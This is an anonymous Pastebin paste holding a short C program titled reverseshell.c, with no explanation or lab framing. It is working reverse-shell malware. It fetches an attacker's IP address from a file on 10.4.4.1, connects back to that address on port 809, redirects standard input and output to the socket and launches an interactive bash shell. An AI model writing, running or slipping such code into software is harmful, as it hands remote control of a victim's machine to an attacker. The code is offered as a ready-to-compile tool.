Guest User

Untitled

a guest
Jun 18th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.55 KB | None | 0 0
  1. /* gcc -O2 reverseshell.c -o reverseshell */
  2.  
  3. #include <arpa/inet.h>
  4. #include <assert.h>
  5. #include <errno.h>
  6. #include <netinet/in.h>
  7. #include <signal.h>
  8. #include <stdlib.h>
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/wait.h>
  14. #include <netdb.h>
  15. #include <unistd.h>
  16. #define MAX 512
  17. #define YourPort 809
  18.  
  19. main() {
  20. int sockfd;
  21. int sockfd2;
  22. struct sockaddr_in remaddr;
  23. struct sockaddr_in remaddr2;
  24. char GET[] = "GET /cmd.txt";
  25. char RECV[MAX];
  26. char IP[MAX];
  27.  
  28. sockfd2 = socket(PF_INET, SOCK_STREAM, 0);
  29.  
  30. remaddr2.sin_family = AF_INET;
  31. remaddr2.sin_port = htons(80);
  32. remaddr2.sin_addr.s_addr = inet_addr("10.4.4.1");
  33. memset(remaddr2.sin_zero, 0, sizeof(remaddr2.sin_zero));
  34.  
  35. connect(sockfd2, (struct sockaddr *) &remaddr2, sizeof(struct sockaddr));
  36. write(sockfd2, GET, strlen(GET));
  37. read(sockfd2, RECV, MAX);
  38. printf("%sn", RECV);
  39. strcpy(IP, RECV);
  40. close(sockfd2);
  41.  
  42. sockfd = socket(PF_INET, SOCK_STREAM, 0);
  43.  
  44. remaddr.sin_family = AF_INET;
  45. remaddr.sin_port = htons(YourPort);
  46. remaddr.sin_addr.s_addr = inet_addr(IP);
  47. memset(remaddr.sin_zero, 0, sizeof(remaddr.sin_zero));
  48.  
  49. connect(sockfd, (struct sockaddr *) &remaddr, sizeof(struct sockaddr));
  50. dup2(sockfd, 0);
  51. dup2(sockfd, 1);
  52. dup2(sockfd, 2);
  53. execl("/bin/bash", "/bin/bash", "-i", NULL);
  54.  
  55. close(sockfd);
  56. }
Add Comment
Please, Sign In to add comment